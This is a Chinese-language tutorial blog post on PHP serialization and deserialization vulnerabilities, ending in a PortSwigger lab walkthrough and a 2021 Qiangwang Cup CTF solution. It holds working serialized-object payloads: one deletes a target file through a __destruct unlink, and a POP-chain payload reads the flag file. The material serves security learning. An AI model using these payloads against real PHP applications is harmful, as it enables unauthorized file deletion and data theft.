PHP反序列化漏洞解析

47 阅读7分钟

序列化

所谓序列化就是将原数据对象转换为具有一定格式的数据

举一个最简单的例子,在C中,若要开发一个数据库,那么一定涉及到数据的存储,要将内存中的数据持久化的保存在磁盘中,这就要对数据的存储格式进行优化,比如使用结构体保存一个数据对象,结构体是存在默认对齐机制的,所以实际上结构体的大小会大于其中实际数据的大小,如果直接将结构体对象写在内存一定会造成内存空间的泄露,因此为了优化,可以将结构体存储的每个数据memcpy出,并紧凑排列并写入内存,这就是最简单的一种序列化。

所以实际上序列化就是将数据按照更易存储、传输等,改变其原有格式进行保存的一种方式,上面所说的只是最简单的一种序列化方式,实际上还可以在其序列化后的数据中加上对数据的描述控制信息(比如说长度等),方便后期更快的还原出原数据。

也许有人会认为加上描述控制信息会让新数据的内容相对于原数据更加冗杂,但这是不影响的,因为描述控制信息的添加是在序列化的过程中所添加,而序列化的目的是方便与更快的存储与传输等而服务的,二者并不处于同一阶段。控制信息的添加也确实可以加快存储、传输过程中对数据的识别等过程。

【一一帮助安全学习一一】

①网络安全学习路线

②20份渗透测试电子书

③安全攻防357页笔记

④50份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100个漏洞实战案例

⑧安全大厂内部教程

PHP 序列化/反序列化

数据转换

将 对象Object、字符串String、数组Array、变量 转换为具有一定格式的字符串(其中不会保留函数方法),方便保持稳定的格式在文件中传输。

相关函数:

string serialize ( mixed $value )

由返回值确认其返回字符串,该字符串中包含了表示value的字节流,可存储与任何地方。( 统一格式,易于存储

<?php
	class Deu {
	    public $name = "Deutsh";
	    private $age = 66;
	    protected $sex = "male";
			public $domain = array("shtwo.top","www.shtwo.top");

	    public function say_hello() 
			{
	        echo "hello";
	    }
	}

	$class = new Deu();
	$serClass = serialize($class);
	print_r($serClass);
?>

对上述的Deu对象进行序列化,并观察其序列化后的结果。

O:3:"Deu":4:{s:4:"name";s:6:"Deutsh";s:8:"Deuage";i:66;s:6:"*sex";s:4:"male";s:6:"domain";a:2:{i:0;s:9:"shtwo.top";i:1;s:13:"www.shtwo.top";}}

为了方便理解该字符串的含义,将其分为两大部分

数据对象类型:数据名称长度:数据名称:对象个数O:3:"Deu":4 其中每一个对象的结构(以;分割) **数据类型:数据名称长度(可选):数据名称

{s:4:"name";s:6:"Deutsh";s:8:"Deuage";i:66;s:6:"*sex";s:4:"male";s:6:"domain";a:2:{i:0;s:9:"shtwo.top";i:1;s:13:"www.shtwo.top";}}
s:4:"name";s:6:"Deutsh"
s:4:"name"
s:6:"Deutsh"
 s:8:"Deuage";i:66
s:8:"Deuage"
i:66
s:6:"*sex";s:4:"male"
s:6:"*sex"
s:4:"male"
s:6:"domain";a:2:{i:0;s:9:"shtwo.top";i:1;s:13:"www.shtwo.top";}
s:6:"domain"
a:2:{i:0;s:9:"shtwo.top";i:1;s:13:"www.shtwo.top";}

序列化的各种结构

根据数据类型的不同,其序列化后的字符串有以下几种情况。

类型结构
Strings:size:value;
Integeri:value;
Booleanb:value; (保存1或0)
NullN;
Arraya:size:{key definition;value definition;(repeated per element)}
ObjectO:strlen(object name):object name:object size:{......}

访问控制符不同对序列化后结构的影响

  • public

    序列化后没有变化

  • protected

    序列化后会变成%00*%00属性名

    eg:s:6:"*sex";s:4:"male"

    注意其中的长度,长度 =6,但后面字符串中只有4个字符,所以0是被省略掉的

    但是在拿着该序列化后的字符串去提交,反序列化的时候是要带上0的,否则会出错

  • private

    序列化后会变成%00类名%00属性名

    eg:s:8:"Deuage";i:66

    同上

反序列化

image.png

相关函数

unserialize ( string $str ):mixed

示例代码

<?php
	class Deu {
	    public $name = "Deutsh";
	    private $age = 66;
	    protected $sex = "male";
		  public $domain = array("shtwo.top","www.shtwo.top");
	    public function say_hello() {
	        echo "hello";
	    }
	}
	$class = new Deu();

	$class_ser = serialize($class);
	print_r($class_ser);

	$class_unser = unserialize($class_ser);

	echo "</br>";
	print_r($class_unser);

	echo "</br>";
	var_dump($class_unser);

?>

魔法方法

PHP中常见的魔法方法

构造函数/析构函数

C++中的 构造函数 与 析构函数 基本一致,PHP也提供构造函数与析构函数

构造函数

__construct ( mixed ...$values = "" ):void

类中会默认存在一个没有参数列表并且内容为空的构造函数。如果显式地声明构造函数则类中的默认构造方法将不会存在,并且在实例化对象时调用该方法。

析构函数

__destruct ( ):void

析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

示例代码

<?php
	class TestClass
	{
	    public function __construct() {
	        echo "calling __construct()";
	    }
	    public function __destruct() {
	        echo "calling __destruct()";
	    }
	}
	$class = new TestClass();

	echo "</br>";

?>

image.png

可以看到在实例化对象时,调用了构造函数,并在结束的时候调用了析构函数销毁了该实例( 注意输出结果已经换行了,说明是在最后结束的时候调用了析构函数 )。

__sleep()__wakeup()

__sleep()

public __sleep():array

当调用 serialize()函数序列化一个实例时,会首先检查该实例是否存在 __sleep()方法,如果该方法存在,则该方法会先被调用,然后才执行序列化操作。否则使用默认的序列化方式。

此功能可以用于清理对象,并**返回一个包含对象中所有应被序列化的变量名称的数组,**如果该方法未返回任何内容,则 **null**被序列化,并产生一个 **E_NOTICE**级别的错误。

__wakeup()

public __wakeup():void

与之相反,unserialize()会检查是否存在一个 __wakeup()方法。如果存在,则会先调用 __wakeup方法,预先准备对象需要的资源。

示例代码

<?php
	class Deu {
	    public $name = "Deutsh";
	    private $age = 66;
	    protected $sex = "male";
		public $domain = array("shtwo.top","www.shtwo.top");
	    public function say_hello() {
	        echo "hello";
	    }

	    public function __sleep() {
	        echo "calling __sleep";
	        echo "</br>";
	        return array('name', 'age', 'sex','domain');
	    }   
	    public function __wakeup() {
	        echo "calling __wakeup";
	        echo "</br>";
	    }
	}
	$class = new Deu();
	$class_ser = serialize($class);
	print_r($class_ser);
	echo "</br>";
	$class_unser = unserialize($class_ser);
	print_r($class_unser);
?>

image.png

__toString()

public __toString():string

__toString()方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么

从 PHP 8.0.0 起,返回值遵循标准的 PHP 类型语义, 这意味着如果禁用 严格类型,它将会强制转换为字符串。

示例代码

<?php

	class Deu
	{
	    public $name;

	    public function __construct($name) 
	    {
	        $this->name = $name;
	    }

	    public function __toString() 
			{
	        return $this->name;
	    }
	}

	$admin = new Deu('The admin of this website is Deutsh');

	echo $admin;

?>

image.png

__invoke()

类似于C++中的仿函数,但实现机制不同。

__invoke( ...$values):mixed

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。

示例代码

<?php
	class Func 
	{
	    function __invoke($x,$y) 
	    {
	        return $x * $y;
	    }
	}
	$obj = new Func;

	$result = $obj(2,3);

	print $result;

?>

image.png

属性重载

public __set(string $name,mixed &value):void

public __get(string $name):mixed

public __isset(string $name):bool

public __unset(string $name):void

读取不可访问(protectedprivate)或不存在的属性的值时,__get()会被调用

在给不可访问(protectedprivate)或不存在的属性赋值时,__set()会被调用

当对不可访问(protectedprivate)或不存在的属性调用 isset()empty()时,__isset()会被调用

当对不可访问(protectedprivate)或不存在的属性调用 unset()时,__unset()会被调用

示例代码

<?php
	Class User{
	    private $id = '0';
	    public $name = 'admin';

	    function __get($id)
	    {	
	    	echo "You are no Permmison to get admin's id-----";
	        echo" calling __get() "."</br>";
	    }
	    function __set($id, $value)
	    {

	    	echo "You are no Permmison to change admin's id-----";
	        echo " calling __set() "."</br>";
	    }
	    function __isset($id)
	    {
	        echo "calling __isset()"."</br>";
	    }
	    function __unset($id)
	    {
	        echo "calling __isset()"."</br>";
	    }
	}

	$obj = new User();

	$obj->id;
	print $obj->name;

	echo '</br>';

	$obj->id = 1;  
	$obj->name = Deu;
	print $obj->name;

	echo '</br>';

	isset($obj->id);        
	unset($obj->id);        
?>

image.png

PHP 反序列化漏洞

反序列化漏洞最根本的成因在于 反序列化函数unserialize()的参数是可控的:也就是说可以传入我们特殊构造的一个序列化后的对象。

但若仅有这一点是很难形成攻击的,这时我们想到了魔法函数的调用一般都是由某些事件发生所自动触发的,所以自动联想出 可控的参数再配合上PHP特殊的魔法方法 也许就可以形成攻击,这也就是一个最基本的反序列化漏洞的利用。

魔法函数的利用

在上面介绍的魔法函数中,先着重看这俩用的面比较广的:

  • __destruct()
  • __weakup()

为什么这两个魔法函数出现概率高:因为其被调用的面广,类的销毁会调用__destruct()反序列化函数unserialize()调用时会先调用__weakup()。(若其存在)

主体的利用思路很简单:**根据魔法函数中提供的功能构造合适的反序列化对象,在对象的销毁或反序列化时,调用了魔法函数并传入我们构造的恶意参数造成攻击,**这里以Burp中的 靶场为例。

Lab: Arbitrary object injection in PHP

实验地址:Lab: Arbitrary object injection in PHP | Web Security Academy image.png

题目:

该实验室使用基于序列化的会话机制,因此容易受到任意对象注入的影响。为了解决实验室问题,创建并注入恶意序列化对象将morale.txtCarlos的家目录中删除文件。您需要获得源代码访问权限才能解决此实验。您可以使用以下凭据登录到您自己的帐户:wiener:peter

确认存在序列化

首先根据提供的账户,登录到用户的界面,之后开启 Burp 进行抓包,并随便点一个功能,比如点击My-Account得到的数据包为: image.png

通过对其Cookie中的session字段解Base64编码,可以发现Cookie传递的是一个序列化的PHP类对象

此时我们可以确认该网站使用序列化的对象传递用户身份数据(传递什么不是重点),那么如上所述,下一步的目的就是找到可以利用的 魔术方法,这也是最难的一步。

寻找可利用的魔术方法

首先打开Burp``Target模块中的Site map看看整个过程中出现过哪些文件,在libs中,看到了一个CustomTemplate.php文件,很不错!!!该文件很可能存在着某些魔术函数

之后点到他后,发现文件查看不了,遂将该请求报文发至Repeater做进一步的处理。 image.png

直接发送请求,发现服务端只返回了200成功的状态码,但并不允许请求该文件的内容。 image.png

此时陷入瓶颈,该如何请求该文件就是一个很重要的问题,在此之前先说一个题外知识。

文件扩展名末尾的波浪号~的含义

由于这是解决本题的一个既关键(涉及到如何请求到CustomTemplate.php)又不怎么关键(知道怎么做即可,貌似无需理解其含义)的点,所以还是拿出来单独说一说。

在一个文件名的末尾(Linux中是不分后缀的)添加 ~ ,是一种约定,这种约定起源于emacs编辑器,后来也被joe``vim``Gedit编辑器所采用,通常用于在编辑文件之前通过在原文件尾附加~来创建一个该文件的备份备份,方便搞砸了以后进行恢复。

例如 使用命令cp xxxxx{,~}

image.png

至于为什么选择~作为备份文件的后缀~是编号最高的可打印ASCII字符,所以在ls查看时,会备份文件排序在原始字符之后(传统的ASCII排序)。

所以根据上述介绍,我们就可以尝试在CustomTemplate.php末尾附加~去请求其备份文件,看看是否存在,具体来收就是请求CustomTemplate.php~文件。 image.png

很幸运,存在备份文件,顺利过渡到下一步。

CustomTemplate.php寻找利用途径

通过观察代码得出以下信息:

  • 通过__construct()可以看出该类在初始化实例对象时需要一个参数,会传递给其私有变量$template_file_path之后又会赋给私有变量$lock_file_path

    public function __construct($template_file_path) 
    {
    	     $this->template_file_path = $template_file_path;
    	     $this->lock_file_path = $template_file_path . ".lock";
    }
    
    

明晰了上述关系后,需要重点关注的是__destruct()函数。

function __destruct() 
{
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) 
				{
            unlink($this->lock_file_path);
        }
}

在此看到了所需要的unlink()功能用于 “删除” 题目所指示的文件

而该析构函数所删除的文件正式在构造函数中传入参数的路径下的文件,所以只需要构造一个包含要删除路径的序列化对象即可完成该功能。

构造特殊的序列化包

由于要手动构造序列化后的包要计算每个字段的长度(参考之前对序列化后数据结构的介绍),所以此处借助一个网站来实现序列化包的构造。

PHP Serialized Editor - Online Visual Editor for Serialized Data

若不借助该网站,要手动完成构造,可以用wc来统计字符串中字符的数量(注意特殊格式)

此处以用户传递的session中的序列化后的包的格式来构造新的包(原用户包的内容见上面截图)

这里要说明一个问题:前面说到,最终要传递的参数是$lock_file_path的一个路径值,也就是题目中给出的/home/Carlos/morale.txt(若不知道这个目录是如何得出的记得仔细回看一下题目),那么按理说,应该构造一个只包含该路径的CustomTemplate序列化对象,例如:

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

这个构造也是正确的!

但这里尝试另一种方式,由于使用的上述工具,免得麻烦,所以直接在之前session传递的那串序列化为基础进行了构造。

O:14:"CustomTemplate":2:{s:18:"template_file_path";s:23:"/home/Carlos/morale.txt";s:14:"lock_file_path";s:23:"/home/Carlos/morale.txt";}

这串构造看起来有很多没必要的字段,但可以过,所以姑且就用这种了。 image.png

攻击成功

同样开启Burp并随便点击一个选项进行抓包,比如说My-Account,之后将其中Cookie:session=后面的内容替换为我们的这一串序列化字符 ,记得在Burp右下角的Decode from中进行替换,并进行Base64编码,当然也可以到Decoder中编码后直接复制来。 image.png image.png

成功删除目标文件! image.png

PHP 反序列化 POP 链

POP又称之为面向属性编程(Property-Oriented Programing),常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程ROP``(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击的目的。

这里以 2021强网杯中的 反序列化题为例。

2021强网杯-赌徒

源码

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct()
		{
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello()
		{
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
		{
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc)
		{
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct()
		{
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString()
		{
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='./flag';
    public $sth_to_set;
    public $a='';

    public function __get($name)
		{
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file)
		{
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke()
		{
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $hi = new  Start();
}

?>

分析

  • 题目中提示需要读取到flag文件,所以拿来源码首先找其中具有读取功能的函数,确认其存在于Room::Get_hint()

    所以接下来再向外看,寻找Room类中有没有魔法方法调用了Get_hint()

  • 很幸运在Room::__invoke()中调用了Room::Get_hint()

    回想__invoke()魔法方法被调用的契机是 尝试以调用函数的方式调用一个对象时

    所以接下来需要再来寻找有没有将该类当作函数调用的位置

  • 同样是在Room类中,看到_get()魔法方法中出现了啊将该类作为函数调用的情况

    只要将a赋为Room的一个实例即可

    回想_get()该属性重载函数被调用的契机是 读取不可访问(protectedprivate)或不存在的属性的值时

    如果file['filename']是个实例化的Room类,就会触发Room__get()

    所以接下来接着寻找有没有类中的函数访问不了不可访问或不存在的属性值

  • 又很幸运Info::__toString()魔法函数中调用了一个不存在的属性

    回想 调用__toString()的契机是 一个类被当成字符串使用时

    所以接下来接着寻找一个函数,该函数的返回值是一个字符串即可

  • 终于在Start::_sayhello()函数中看到了echo只要将echo后面的数据换为一个类,就是将一个类当成字符串使用,按照之前思路再找有没有哪个魔法函数调用了该函数,找到了Start::__weakup()

至此找到了一系列调用所需的源头Start::__weakup(),之后的构造则应该是正好相反的结构

  • 通过Start::_sayhello()将其中的this→name赋为class Info

  • 执行Start::_sayhello()触发Info中的__toString()

  • Info::__toString()中的$this->file['filename']赋值为class Room的一个对象

    写的更形象点就是:$this->file['filename'] = new Room由于Room中是不存在ffiillee['ffiilleennaammee']属性的,所以会调用_get()

  • 执行Info::__toString()调用Room::_get()

  • Room类中的a赋值程对象,即可存在以函数调用调用类的情况,则最调用Room::__invoke()

  • 最终调用Get_hint()方法拿到base64后的flag

构造

<?php
	$a = new Start();
	$a->name = new Info();
	$a->name->file["filename"] = new Room();
	$a->name->file["filename"]->a = new Room();
	echo "<br>";
	echo serialize($a);
?>

得到。

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

但当把以上结果直接放入 URL 传递是不可以的,因为其中有一个 private 权限的,需要前后加%00

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}